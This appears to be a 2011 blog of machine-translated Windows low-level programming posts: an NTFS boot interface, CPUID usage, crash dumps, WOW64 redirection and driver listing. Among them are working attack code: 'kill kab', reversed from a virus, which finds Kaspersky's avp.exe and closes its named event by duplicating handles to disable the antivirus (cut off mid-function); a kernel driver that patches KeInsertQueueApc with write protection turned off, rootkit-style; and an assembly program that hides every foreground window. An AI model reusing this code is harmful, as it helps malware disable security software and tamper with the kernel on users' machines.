Friday, September 30, 2011

Ntfs disc access interface(Project + code)

Author:第八个门
That is found and separate on nt4.

The interface:
BlGetFsInfo
BlClose
BlOpen
BlRead
BlGetReadStatus
BlSeek
BlWrite
BlGetFileInformation
BlRename
BlSetFileInformation
BlReadAtOffset
ntfsboot.rar

Thursday, September 29, 2011

Process is protected

Author:Sysnap
Maybe nobody make process to protect......Send a code... Some value maybe can't explan  from letter....Because before hook other function

Code:
#include "ntddk.h"
#include "myh.h"
/*
//可能有MP后不起作用了
*/
UCHAR *
PsGetProcessImageFileName(
    __in PEPROCESS Process
    );

typedef VOID  (FASTCALL *KIINSERTQUEUEAPC)(IN PKAPC Apc,IN KPRIORITY Increment);
KIINSERTQUEUEAPC g_OldKiInsertQueueApc;

ULONG g_OldObpAllocateObjectOffset;
ULONG* g_TargetMmExchangeValue;
BOOLEAN bIsHook=FALSE;

VOID FASTCALL Fake_KiInsertQueueApc(IN PKAPC Apc,IN KPRIORITY Increment)
{
  ULONG pTargetThread;
    ULONG pTargetProcess;
    UCHAR *pTargetProcessName;
 
  if(MmIsAddressValid((PULONG)((ULONG)Apc+0x008)))
  pTargetThread=*((PULONG)((ULONG)Apc+0x008)); //   +0x008 Thread           : Ptr32 _KTHREAD
    if(MmIsAddressValid((PULONG)((ULONG)pTargetThread + 0x044 )))
  pTargetProcess =*((PULONG)((ULONG)pTargetThread + 0x044 ));  //+0x034 ApcState         : _KAPC_STATE     
   
  pTargetProcessName=PsGetProcessImageFileName((PEPROCESS)pTargetProcess);
   
  if((_stricmp(pTargetProcessName,"notepad.exe")==0)&&(Increment==2))
    //DbgPrint("hi---notepad.ex ");
    return;
  //  return ;
//  DbgPrint("hi--- ");
  g_OldKiInsertQueueApc(Apc,Increment);


   
}

VOID MmExchangeValue(PULONG  Target,ULONG  Value)
{
  KIRQL oldIrql;
  oldIrql = KeRaiseIrqlToDpcLevel(); //Notice spin lock
  __asm
  {
    CLI         
    MOV  EAX, CR0   
    AND EAX, NOT 10000H
    MOV  CR0, EAX   
  }
   
   
    InterlockedExchange(Target,Value);
     
  __asm
  {
    MOV  EAX, CR0   
    OR  EAX, 10000H   
    MOV  CR0, EAX     
    STI         
  }
  KeLowerIrql(oldIrql);
}



BOOLEAN  HookKiInsertQueueApc()
{
  BYTE* FunctionAddress;
  BYTE* CurrentAddress;
  ULONG tempAddr, HookAddress,NewOffset;
  PVOID KeInsertQueueApcAddr;
  UNICODE_STRING Uni_ObCreateObject;
 
  RtlInitUnicodeString(&Uni_ObCreateObject,L"KeInsertQueueApc");
  KeInsertQueueApcAddr =  MmGetSystemRoutineAddress(&Uni_ObCreateObject);
 
  if(KeInsertQueueApcAddr == NULL)
    return FALSE;
 
  FunctionAddress=(BYTE*)KeInsertQueueApcAddr;
 
  for(CurrentAddress=FunctionAddress;CurrentAddress<FunctionAddress+0x200; CurrentAddress++)
  {
    if(MmIsAddressValid((BYTE*)CurrentAddress))
     
    if(*(BYTE*)CurrentAddress==0x28&&*(BYTE*)(CurrentAddress+1)==0xe8)
    {
      tempAddr = *(ULONG*)(CurrentAddress+2);
      if(MmIsAddressValid((ULONG*)((BYTE*)(CurrentAddress+1)+1)))
      {
       
        if(tempAddr&0x10000000)
        {
          NewOffset = (ULONG)Fake_KiInsertQueueApc+0xFFFFFFFB-(ULONG)(CurrentAddress+1);
          g_OldObpAllocateObjectOffset = *(ULONG*)((BYTE*)(CurrentAddress+2));
          HookAddress=*(ULONG*)((BYTE*)(CurrentAddress+2))+(ULONG)(CurrentAddress+1)-0xFFFFFFFB;
          g_TargetMmExchangeValue = (ULONG*)((BYTE*)(CurrentAddress+2));
          //DbgPrint("hi--- %x",HookAddress);
          MmExchangeValue((ULONG*)((BYTE*)(CurrentAddress+2)),NewOffset);
          bIsHook =TRUE;
        }
        else
        {
          NewOffset = (ULONG)Fake_KiInsertQueueApc-(ULONG)(CurrentAddress+1)-5;
          g_OldObpAllocateObjectOffset = *(ULONG*)((BYTE*)(CurrentAddress+2));
          HookAddress=*(ULONG*)((BYTE*)(CurrentAddress+2))+(ULONG)(CurrentAddress+1)+5;
          g_TargetMmExchangeValue = (ULONG*)((BYTE*)(CurrentAddress+2));
          MmExchangeValue((ULONG*)((BYTE*)(CurrentAddress+2)),NewOffset);
          bIsHook =TRUE;
        }
         g_OldKiInsertQueueApc = (KIINSERTQUEUEAPC)HookAddress;
        //DbgPrint("hi--- %x", g_OldObpAllocateObject);
        break;
      }
    }
  }
  return TRUE;
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



VOID Unload(PDRIVER_OBJECT DriverObject)
{
  if(bIsHook ==TRUE)
  MmExchangeValue(g_TargetMmExchangeValue,g_OldObpAllocateObjectOffset);
 
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING str)
{
 
  HookKiInsertQueueApc();

 
  DriverObject->DriverUnload = Unload;
  return STATUS_SUCCESS;
}

Wednesday, September 28, 2011

A c++ class of Print wrong when program breakdown

Author:hying
A c++ class of Print wrong when program breakdown, Use it can to find reason of wrong and place of wrong.
Example:
----------------------------------------------------------------------------
System details:
-----------
Operating System:      Microsoft Windows XP Professional (Version 5.1, Build 2600)
CPU Information: Type: Intel Pentium compatible, Number Of Processors: 2, Architecture: Intel, Level: Unknown 15, Stepping: 10-25
Memory Information:    Memory Used 72%, Total Physical Memory 1048048KB, Physical Memory Available 286664KB, Total Virtual Memory 2097024KB, Available Virtual Memory 2054620KB, Working Set Min: 200KB Max: 1380KB .

Process details:
-----------
Thread number:1, Handle number:22
Use memory(K):3540, Use memory peak(K):3540, Page buffer pool(K):20, Page buffer pool(K):20, Non Page buffer pool peak(K):2
Page buffer pool peak(K):2, Virtual memory(K):3052, Virtual memory peak(K):3052, Page wrong:883

Exception details:
-----------
FirstChance:00000001, ExceptionCode:C0000005, ExceptionFlags:00000000, ExceptionAddress:004014B9
ExceptRem: STATUS_ACCESS_VIOLATION
Module: G:\testdump1.exe, Section: 01, Offset: 000004B9

Context details:
-----------
EFlags:00010206
EIP:004014B9
Ebp:0012FEF4
Esp:0012FEDC
Edi:00000000
Esi:0041A028
Ebx:7FFDE000
Edx:00000000
Ecx:00000009
Eax:00000009

Call stack:
-----------
Address   Frame     Function   SourceFile
004014B9  0012FEF4  testexp1+49  testdump1.cpp line 37
  Parameter struct TestClass* _pclass = {struct TestBaseClass = {char Memchar = 52, }, int Mem1 = 2, int Mem2 = 8, struct TestClass* Mem3 = [0x00000000], }
  Parameter int* _pint = [0x00000000]
  Parameter int _int = 79
  Local double t_double = 79.000000
  Local char* t_pchar = "787878789"
  Local int** t_ppint = [0x0012FF00]
  Local enum TEnum t_Enum = 2
  Local int t_Tmpint2 = 9

00401516  0012FF8C  main+56  testdump1.cpp line 53
  Parameter int argc = 1
  Parameter char** argv = [0x00F4A680]
  Local int t_int = 78
  Local int* t_pint = [0x00000000]
  Local struct TestClass t_class = {struct TestBaseClass = {char Memchar = 52, }, int Mem1 = 2, int Mem2 = 8, struct TestClass* Mem3 = [0x00000000], }
  Local char[60] command = ""

00414D83  0012FFB8  __startup+16F

Assembler Information:
-----------
testdump1.cpp
-------Line 25---------
00401470  push    ebp
00401471  mov     ebp, esp
00401473  add     esp, -18
-------Line 27---------
00401476  mov     dword ptr [ebp-4], 2
-------Line 29---------
0040147D  mov     eax, [ebp+8]
00401480  mov     edx, [ebp-4]
00401483  mov     [eax+4], edx
-------Line 31---------
00401486  lea     ecx, [ebp+C]
00401489  mov     [ebp-8], ecx
-------Line 32---------
0040148C  mov     dword ptr [ebp-C], 41A0C0
-------Line 33---------
00401493  fild    dword ptr [41A0B8]
00401499  fstp    qword ptr [ebp-14]
-------Line 34---------
0040149C  fld     qword ptr [ebp-14]
0040149F  call    00411FD0
004014A4  mov     [ebp+10], eax
-------Line 36---------
004014A7  push    dword ptr [ebp-C]
004014AA  call    0040C740
004014AF  pop     ecx
004014B0  mov     [ebp-18], eax
-------Line 37---------
004014B3  mov     edx, [ebp+C]
004014B6  mov     ecx, [ebp-18]
004014B9  mov     [edx], ecx  ; <-- EXCEPTION
-------Line 39---------
004014BB  mov     esp, ebp
004014BD  pop     ebp
004014BE  retn
------------------------Havs exception-----------------------------
int g_int = 0;
struct TestBaseClass
{
public:
  char Memchar;
};
struct TestClass: public TestBaseClass
{
public:
    int Mem1;
    int Mem2;
  TestClass* Mem3;
};
enum TEnum
{
  EnumIdx1 = 1,
  EnumIdx2 = 2,
};
void testexp1(TestClass* _pclass, int* _pint, int _int)
{
  TEnum t_Enum = EnumIdx2;
  {
    _pclass->Mem1 = t_Enum;
  }
  int** t_ppint = &_pint;
  char* t_pchar = "787878789";
  double t_double = g_int;
  _int = t_double;
  {
    int t_Tmpint2 = strlen(t_pchar);
    *_pint = t_Tmpint2;
  }
}
int _tmain(int argc, _TCHAR* argv[])
{
    char command[60];
    gets(command);
    TestClass t_class;
    t_class.Mem1 = 7;
    t_class.Mem2 = 8;
    t_class.Mem3 = NULL;
    int* t_pint = NULL;
    int t_int = 78;
  g_int = 79;
    __try
    {
        testexp1(&t_class, t_pint, t_int);
    }
    __except(1)
    {
        t_int++;
    }
    return 0;
}
----------------------------------------------------------------------------------------

How use:Need write oneself SetUnhandledExceptionFilter code on program. Then use the class.Hold out symbol table of MS PDB. Symbol table file place to the same of exe directory.

 Minidump.rar

Tuesday, September 27, 2011

Right use CPUID

Author:DiYhAcK

If want program of use cpuid command to be passed :

1.Judge SPU that whether hold out cpuid command
The way: 21st of eflags(ID) whether can change


Code:
BOOL __declspec(naked) IsCpuidValid()
{
  __asm
  {
    pushfd
    pop eax             //eax = eflags
    mov ebx, eax
    xor eax, 00200000h  //toggle bit 21, eflags.[ID]
    push eax
    popfd
    pushfd
    pop eax
    cmp eax, ebx
    jz NO_CPUID
    mov eax, 1
    ret
NO_CPUID:
    xor eax, eax
    ret
  }
}
2.If cpu hold out cpuid command, First judge whether hold out function num before use such cpuid function num.


Code:
    CPUID_ARGS ca;
    ca.eax = 0;
    cpuid32(&ca);
    char Vendor[13];
    *((PULONG)&Vendor[0]) = ca.ebx;
    *((PULONG)&Vendor[4]) = ca.edx;
    *((PULONG)&Vendor[8]) = ca.ecx;
    Vendor[12] = '\0';

    printf("CPU Vendor: %s\n", Vendor);
    printf("Max Standard function: 0x%08x\n", ca.eax);

    ca.eax = 0x80000000;
    cpuid32(&ca);

    printf("Max Extended function: 0x%08x\n", ca.eax);
3.Reference appropriate help standard of CPU manufacturer to use homologous function num

Code:
if(strcmp(Vendor, "GenuineIntel") == 0)
{
    //Reference IPM-241618
    if(ca.eax >= 0x80000004) //support brand string
    {
        char Brand[48];
        ca.eax = 0x80000002;
        cpuid32(&ca);
        *((PULONG)&Brand[0]) = ca.eax;
        *((PULONG)&Brand[4]) = ca.ebx;
        *((PULONG)&Brand[8]) = ca.ecx;
        *((PULONG)&Brand[12]) = ca.edx;

        ca.eax = 0x80000003;
        cpuid32(&ca);
        *((PULONG)&Brand[16]) = ca.eax;
        *((PULONG)&Brand[20]) = ca.ebx;
        *((PULONG)&Brand[24]) = ca.ecx;
        *((PULONG)&Brand[28]) = ca.edx;

        ca.eax = 0x80000004;
        cpuid32(&ca);
        *((PULONG)&Brand[32]) = ca.eax;
        *((PULONG)&Brand[36]) = ca.ebx;
        *((PULONG)&Brand[40]) = ca.ecx;
        *((PULONG)&Brand[44]) = ca.edx;

        printf("Brand: %s\n", Brand);
    }
}
else if(strcmp(Vendor, "AuthenticAMD") == 0)
{
    //Reference APM-25481
    if(ca.eax >= 0x80000004) //support brand string
    {
        char Brand[48];
        ca.eax = 0x80000002;
        cpuid32(&ca);
        *((PULONG)&Brand[0]) = ca.eax;
        *((PULONG)&Brand[4]) = ca.ebx;
        *((PULONG)&Brand[8]) = ca.ecx;
        *((PULONG)&Brand[12]) = ca.edx;

        ca.eax = 0x80000003;
        cpuid32(&ca);
        *((PULONG)&Brand[16]) = ca.eax;
        *((PULONG)&Brand[20]) = ca.ebx;
        *((PULONG)&Brand[24]) = ca.ecx;
        *((PULONG)&Brand[28]) = ca.edx;

        ca.eax = 0x80000004;
        cpuid32(&ca);
        *((PULONG)&Brand[32]) = ca.eax;
        *((PULONG)&Brand[36]) = ca.ebx;
        *((PULONG)&Brand[40]) = ca.ecx;
        *((PULONG)&Brand[44]) = ca.edx;

        printf("Brand: %s\n", Brand);
    }
}
else //if(...)
{
    //Reference help of other CPU manufacturer
}

Monday, September 26, 2011

On a whim, Lets windows can't use windows

Author:moonife
Don't haphazard use it:  Assembly code(the code will safety return at most after two minute)
*****************************************************************
.386
.model flat,stdcall
option casemap:none
;****************************************************************
include  windows.inc
include  kernel32.inc
includelib  kernel32.lib
include  user32.inc
includelib  user32.lib
;****************************************************************
.data?
hwnd dd ?
hwdesk dd ?
mesg  MSG <>
.const
szClassName  db  'Progman',0
szCaptionMain  db  'Program Manager',0
;****************************************************************
.code
start:
   invoke FindWindow,addr szClassName,addr szCaptionMain
   mov hwdesk,eax
   invoke SetTimer,NULL,1,500,0
   .while 1
   invoke GetMessage,addr mesg,NULL,0,0
    .if mesg.message==WM_TIMER
    invoke GetForegroundWindow
     .if eax!=hwdesk
       mov hwnd,eax
       invoke IsWindowVisible, hwnd    
         .if eax
      invoke ShowWindow,hwnd,SW_HIDE
         .endif
     .endif
    .endif
    .endw
    invoke KillTimer,NULL,1
    invoke ExitProcess,NULL
 end start
 ;****************************************************************

Sunday, September 25, 2011

[Windows kernel programming]32bit program dispose redirection details on 64bit system[1]

Author:猪头三
The times, doing to modify code of ordinary 32bit program on Ring3 for compatible with 64bit system, Log to modify and learn depth of heart on here.
Program territory is wide range, Anybody go through is limit, And I isn't specialist, So I always principle is: When use, study, and log. 
Only private base knowledge is strong, and take some new , that is going well.


1. Redirection mechanism and aim of 64bit system
   64bit Windows system use redirection mechanism for not have wrong to compatible 32bit program run on 64bit system.Aim is to let's 32bit program can handle key file and key register, and avoid clash with 64bit program.
  Microsoft use redirection's principle is simple, That has two copys for key file/folder or  key register, one copy is accessed by 32bit program, one copy is accessed by 64bit program.

2. How control 32bit and 64bit program access the corresponding copy by 64bit system, The question is kernel featrue of redirection.
  
   Example: 31bit program need access system32 directory on 64bit Windows.
   The natural case: System directory turn to syswow64 directory on redirection mechanism of 64bit Windows systemer internal, Infact operate syswow64.
   System32 directory is used for 64bit program, Syswow64 directory is used for 32bit program.
   Code example: 32bit program have code:
   deletefile('c:\windows\system32\a.txt') ;
   On 64bit system,The code will delete a.txt on syswow64 directory, won't delete a.txt on system32.

3. If 32bit program access real system32 directory , How to do?
   Microsoft offer a suit of API, can do it. Through Wow64DisableWow64FsRedirection and Wow64RevertWow64FsRedirection API  fit use.

   Code example: 32bit program have code
   Wow64DisableWow64FsRedirection  // Close redirection
   deletefile('c:\windows\system32\a.txt') ;
   Wow64RevertWow64FsRedirection   // Recover redirection
   he code will delete a.txt on system32 directory, won't delete a.txt on syswow64 directory.

4. When whole disk enumerate system directory and 32bit program don't close redirection feature , Can both enumerate 32bit and 64 bit directory?
   Through test, Can't enumerate in the meantime, only do two repeat scan, First enumerate 32bit directory on open redirection, Then second close redirection, after enumerate 64bit directory.

6. Have copy of register after redirection?
   YES
   Example:32bit program regular access HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID' on 64bit Windows system
   Because redirection intervene, 32bit access 'HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432node\CLSID'
  

7. When whole disk enumerate system directory and 32bit program don't close redirection feature , Can both enumerate 32bit and 64 bit register imformation?
   Through test, Can't enumerate in the meantime, only do two repeat scan, First enumerate 32bit register imformation on open redirection, Then second close redirection, after enumerate 64bit register imformation.

8. 32bit program don't close redirection feature on 64bit windows system, Can access key directory and key register of 32bit copy by hard code.
   Yes,Can do.
   Code example: 
   deletefile('c:\windows\syswow64\a.txt') ;

Saturday, September 24, 2011

[Text Vesion]Document-ize of ring3 api list diriver listing

Author:benyanwk
Code:
/*++
Module Name:
  ListDrvCon.cpp

Enviroment:
  All Windows NT Platfrom;Console

Abstract:
  List all the driver's name & baseaddr & fileaddr

Note:
  Using documented API in psapi.h

Revision:
  23-Nov-2008 Created.

--*/

//
// directives
//
#define MAXNUM 255
#define UNICODE  // to support chinese
#include <windows.h>
#include <psapi.h>
#include <stdio.h>
#pragma comment(lib,"psapi.lib")

//
// strcut defintion
//

typedef struct _DRIVER_INFO {
  WCHAR BaseName[MAX_PATH];
  WCHAR FileName[MAX_PATH];
  DWORD BaseAddr;
} DRIVER_INFO,*PDRIVER_INFO ;

typedef struct _ALL_DRIVER_INFO {
  DWORD cbNum;
  DRIVER_INFO DrvInfo[1];  // define variable length structure
} ALL_DRIVER_INFO,*PALL_DRIVER_INFO;

//
// function declaration
//
int main();
int myGetDriverInfo(
  IN PVOID &pDrvInfo,
  IN BOOLEAN bAlloc
  );

//
// function definition
//
int myGetDriverInfo(
  IN PALL_DRIVER_INFO* pDrvInfo, 
  IN BOOLEAN bAlloc
  )
{
/*++
Arguments:
  pDrvInfo-->the buffer to store the driver information
  bAlloc-->alloc the global memory by the function or not
  return 0 indicate success otherwise error
--*/
  DWORD cbNum = 0;
  PDWORD pBaseAddr = NULL ;
  PWCHAR pFileName = NULL;
  PWCHAR pBaseName = NULL;
  PALL_DRIVER_INFO pAllDrvInfo;

   
  pBaseAddr = (PDWORD)GlobalAlloc( GMEM_FIXED, sizeof(DWORD)*MAXNUM );


  if( EnumDeviceDrivers( (LPVOID*)pBaseAddr, sizeof(DWORD)*MAXNUM, &cbNum ) != TRUE )
  {
    //
    // indicate EnumDeviceDriver failed!
    //
    wprintf( L"EnumDeviceDriver failed! ErrorCode = %8x\n", GetLastError() );
    return 1;
  }
 
  cbNum /=4; // cbNum return the bytes

  if( bAlloc == TRUE )
    pAllDrvInfo = (PALL_DRIVER_INFO)GlobalAlloc( GMEM_FIXED, sizeof(DRIVER_INFO)*cbNum + 4 );
  else
    pAllDrvInfo = (PALL_DRIVER_INFO)pDrvInfo;

  pAllDrvInfo->cbNum = cbNum;

  for( int i = 0; i < cbNum; i++ )
  {
    pAllDrvInfo->DrvInfo[i].BaseAddr = *pBaseAddr;

    GetDeviceDriverBaseName( (LPVOID)*pBaseAddr, (LPWSTR)&pAllDrvInfo->DrvInfo[i].BaseName, MAX_PATH );
    GetDeviceDriverFileName( (LPVOID)*pBaseAddr, (LPWSTR)&pAllDrvInfo->DrvInfo[i].FileName, MAX_PATH );

    pBaseAddr++;
  }

  *pDrvInfo = pAllDrvInfo; // return the drv info buffer pointer
  return 0;  // indicate success
}

int main()
{
  PALL_DRIVER_INFO pDrvInfo = NULL;
  myGetDriverInfo(
    (PALL_DRIVER_INFO*)&pDrvInfo,
    TRUE
    );
  wprintf(L"=====the list of driver as follows === \n");
  wprintf(L"Order\tBaseAddr \t BaseName \t FileName \t \n");
  for( int i = 0; i<pDrvInfo->cbNum; i++ )
  {
    wprintf(L"%d\t%8x\t%s\t%s\n",
        i,
        pDrvInfo->DrvInfo[i].BaseAddr,
        pDrvInfo->DrvInfo[i].BaseName,
        pDrvInfo->DrvInfo[i].FileName
        );
  }
  return 0;
}

Friday, September 23, 2011

Get OpCode's size of function

Author:GStar
Main idea: Analyse jmp jcc etc. jump type command, That need find farthest address of command; Find ret command; If current command is ret and fartherst address of command, Function is End.

Code:
GetProcSize  proc  uses esi ebx edi pProc:DWORD
;eax    command length
;ebx    current command
;ecx    function addr
;esi    Current command address, and That is farthest address of command

  mov    esi,pProc
  mov   edi,esi
 
  invoke  GetCodeSize,esi
  .while  eax
    .if  eax == 2 && ( (byte ptr[esi] > 70H && byte ptr[esi] < 7FH) || byte ptr[esi] == 0EBH )
      movsx  ebx,byte ptr[esi+1]
    .elseif  eax == 5 && byte ptr[esi] == 0E9H
      mov   ebx,[esi+1]
    .elseif eax == 6 && byte ptr[esi] == 0FH && byte ptr[esi+1] > 80H && byte ptr[esi+1] < 8FH
      mov   ebx,[esi+2]
    .else
      .if  (byte ptr[esi] == 0C2H || byte ptr[esi] == 0C3H || byte ptr[esi] == 0CAH || byte ptr[esi] == 0CBH) && esi == edi
        lea   eax,[esi+eax]
        sub    eax,pProc
        ret
      .else
        xor    ebx,ebx
      .endif
    .endif
    add    esi,eax
    test  ebx,ebx
    .if  !sign?
      add   ebx,esi
      .if  ebx > edi
        mov   edi,ebx
      .endif
    .endif
    .if  esi > edi
      mov   edi,esi
    .endif
    invoke  GetCodeSize,esi
  .endw
  xor    eax,eax
  ret
GetProcSize endp

Remark:
1、GetCodeSize is lde32 disassembling engine.
2、The code has limtations, Cant's analysis jmp [xx] command;By behind jmp to ret command's function may be get full size. But can almost analyse by compiler generated.

Thursday, September 22, 2011

kill kab

Author:takile
Watch usage of a virus , Through colse Kaspersky's event, That is old method.
Reverse the code, 
Code:
// KillAvpByEventHandle.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
#ifdef MIDL_PASS
  [size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer;
#else // MIDL_PASS
  PWSTR  Buffer;
#endif // MIDL_PASS
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _SYSTEM_HANDLE_INFORMATION {
  ULONG ProcessId;
  UCHAR ObjectTypeNumber;
  UCHAR Flags;
  USHORT Handle;
  PVOID Object;
  ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

typedef struct _OBJECT_NAME_INFORMATION {
  UNICODE_STRING Name;
} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;

typedef long NTSTATUS;

#define SystemHandleInformation 16
#define ObjectNameInformation 1

#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)

#define OB_TYPE_EVENT 8
#define OB_TYPE_EVENT_PAIR 9

typedef VOID (__stdcall *PRTLINITUNICODESTRING)(
                        IN OUT PUNICODE_STRING  DestinationString,
                        IN PCWSTR  SourceString
                        );

typedef NTSTATUS (__stdcall *PZWQUERYSYSTEMINFORMATION)(
                            ULONG SystemInformationClass,
                            PVOID SystemInformation,
                            ULONG SystemInformationLength,
                            PULONG ReturnLength
                            );

typedef NTSTATUS (__stdcall *PZWQUERYOBJECT)(
                       IN HANDLE ObjectHandle,
                       IN ULONG ObjectInformationClass,
                       OUT PVOID ObjectINformation,
                       IN ULONG ObjectInformationLength,
                       OUT PULONG ReturnLength OPTIONAL
                       );

//  获取非 system 用户的 avp.exe 进程 Id
DWORD GetNotSystemAvpProcess(IN const TCHAR *pszProcessName);

//  获取创建进程的用户名
BOOL GetProcessUserName(IN DWORD dwProcessId, OUT TCHAR *pszProcessUserName, IN DWORD dwUserNameLength);

//  获取事件句柄的类型
BOOL GetEventHandleType(OUT UCHAR *uObjectTypeNumber);

//  获取 HandleInformation Buffer(Call ZwQuerySystemInformation)
PVOID GetSystemHandleInformation(OUT DWORD *dwHandleCount);

//  获取对象名字字符串
PVOID GetObjectNameByHandle(IN HANDLE hObject);

PRTLINITUNICODESTRING pfnRtlInitUnicodeString = NULL;
PZWQUERYSYSTEMINFORMATION pfnZwQuerySystemInformation = NULL;
PZWQUERYOBJECT pfnZwQueryObject = NULL;

int _tmain(int argc, _TCHAR* argv[])
{
  HMODULE hLibrary = NULL;
  DWORD dwProcessId = -1;
  UNICODE_STRING unicodeObject;
  HANDLE hProcess = NULL, hTargetHandle = NULL;
  BOOL bRetValue = FALSE;
  UCHAR uObjectTypeNumber = -1;

  PVOID pHandleInfoBuffer = NULL;
  PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
  DWORD dwHandleCount = 0, dwIndex = 0;

  POBJECT_NAME_INFORMATION pObjectName = NULL;

  //  getchar();

  hLibrary = LoadLibraryEx(_T("ntdll.dll"), NULL, DONT_RESOLVE_DLL_REFERENCES);
  if ( NULL == hLibrary )
    goto Return;

  pfnRtlInitUnicodeString = (PRTLINITUNICODESTRING)GetProcAddress(hLibrary, "RtlInitUnicodeString");
   pfnZwQuerySystemInformation = (PZWQUERYSYSTEMINFORMATION)GetProcAddress(hLibrary, "ZwQuerySystemInformation");
  pfnZwQueryObject = (PZWQUERYOBJECT)GetProcAddress(hLibrary, "ZwQueryObject");

   if ( NULL == pfnRtlInitUnicodeString || NULL == pfnZwQuerySystemInformation || NULL == pfnZwQueryObject )
     goto Return;

  pfnRtlInitUnicodeString(&unicodeObject, L"\\BaseNamedObjects\\6953EA60-8D5F-4529-8710-42F8ED3E8CDA");

  dwProcessId = GetNotSystemAvpProcess(_T("avp.exe"));
  if ( -1 == dwProcessId )
    goto Return;

  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcessId);
  bRetValue = DuplicateHandle(GetCurrentProcess(), hProcess, GetCurrentProcess(), &hProcess, PROCESS_DUP_HANDLE, FALSE, 0);
  if ( FALSE == bRetValue )
    goto Return;

  if ( FALSE == (bRetValue = GetEventHandleType(&uObjectTypeNumber)) || -1 == uObjectTypeNumber )
    goto Return;

  pHandleInfoBuffer = GetSystemHandleInformation(&dwHandleCount);
  if ( NULL == pHandleInfoBuffer || 0 >= dwHandleCount )
    goto Return;

  pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)((PUCHAR)pHandleInfoBuffer + 4);

  for ( dwIndex = 0; dwIndex < dwHandleCount; dwIndex ++ )
  {
    hTargetHandle = NULL;

    if ( dwProcessId != pHandleInfo->ProcessId || uObjectTypeNumber != pHandleInfo->ObjectTypeNumber )
      goto Loop;

    bRetValue = DuplicateHandle(hProcess, (HANDLE)pHandleInfo->Handle, GetCurrentProcess(), &hTargetHandle, 0, FALSE, DUPLICATE_SAME_ACCESS);
    if ( FALSE == bRetValue )
      goto Loop;

    if ( NULL == (pObjectName = (POBJECT_NAME_INFORMATION)GetObjectNameByHandle(hTargetHandle)) )
      goto Loop;

    if ( NULL != pObjectName->Name.Buffer && 0 < pObjectName->Name.Length )
    {
      if ( 0 == _wcsnicmp(unicodeObject.Buffer, pObjectName->Name.Buffer, unicodeObject.Length) )
      {
        bRetValue = DuplicateHandle(hProcess, (HANDLE)pHandleInfo->Handle, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
        if ( TRUE == bRetValue )
          break;
      }
    }

Loop:

    if ( NULL != pObjectName )
    {
      HeapFree(GetProcessHeap(), 0, pObjectName);
      pObjectName = NULL;
    }

    if ( NULL != hTargetHandle )
    {
      CloseHandle(hTargetHandle);
      hTargetHandle = NULL;
    }

    pHandleInfo++;
  }

Return:

  if ( NULL != pObjectName )
  {
    HeapFree(GetProcessHeap(), 0, pObjectName);
    pObjectName = NULL;
  }

  if ( NULL != pHandleInfoBuffer )
  {
    HeapFree(GetProcessHeap(), 0, pHandleInfoBuffer);
    pHandleInfoBuffer = NULL;
    pHandleInfo = NULL;
  }

  if ( NULL != hTargetHandle )
  {
    CloseHandle(hTargetHandle);
    hTargetHandle = NULL;
  }

  if ( NULL != hProcess )
  {
    CloseHandle(hProcess);
    hProcess = NULL;
  }

  if ( NULL != hLibrary )
  {
    FreeLibrary(hLibrary);
    hLibrary = NULL;
  }

  return 0;
}

//  Get avp.exe process id of non-system user
DWORD GetNotSystemAvpProcess(IN const TCHAR *pszProcessName)
{
  DWORD dwProcessId = -1;
  HANDLE hProcessSnapshot = INVALID_HANDLE_VALUE;
  PROCESSENTRY32 struct_ProEntry;
 
  BOOL bRetValue = FALSE;
  TCHAR szProcessUserName[MAX_PATH] = {0};

  if ( NULL == pszProcessName )
    goto Return;

  hProcessSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if ( INVALID_HANDLE_VALUE == hProcessSnapshot )
    goto Return;

  ZeroMemory(&struct_ProEntry, sizeof(PROCESSENTRY32));
  struct_ProEntry.dwSize = sizeof(PROCESSENTRY32);

  if ( FALSE == (bRetValue = Process32First(hProcessSnapshot, &struct_ProEntry)) )
    goto Return;

  do
  {
    if ( 0 == _tcsnicmp(pszProcessName, struct_ProEntry.szExeFile, _tcslen(pszProcessName)) )
    {
      bRetValue = GetProcessUserName(struct_ProEntry.th32ProcessID, szProcessUserName, MAX_PATH);
      if ( TRUE == bRetValue )
      {
        if ( 0 != _tcsnicmp(szProcessUserName, _T("system"), _tcslen(_T("system"))) )
        {
          dwProcessId = struct_ProEntry.th32ProcessID;
          goto Return;
        }
      }
    }

  } while( Process32Next(hProcessSnapshot, &struct_ProEntry) );

Return:

  if ( INVALID_HANDLE_VALUE != hProcessSnapshot )
  {
    CloseHandle(hProcessSnapshot);
    hProcessSnapshot = NULL;
  }       

  return dwProcessId;
}

//  Get to be created process's user name
BOOL GetProcessUserName(IN DWORD dwProcessId, OUT TCHAR *pszProcessUserName, IN DWORD dwUserNameLength)
{
  BOOL bRetResult = FALSE, bRetValue = FALSE;
  HANDLE hProcess = NULL, hProcessToken = NULL;
  DWORD dwReturnLength = 0;

  PTOKEN_USER pTokenUser = NULL;
  SID_NAME_USE enum_SidName;

  PVOID pUserName = NULL, pReferencedDomainName = NULL;
  DWORD dwchUserNameLength = 0, dwchReferencedDomainNameLength = 0;

  if ( 0 >= dwProcessId || NULL == pszProcessUserName || (0 >= dwUserNameLength || MAX_PATH < dwUserNameLength) )
    goto Return;

  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcessId);
  if ( NULL == hProcess )
    goto Return;

  bRetValue = OpenProcessToken(hProcess, TOKEN_QUERY, &hProcessToken);
  if ( FALSE == bRetValue )
    goto Return;

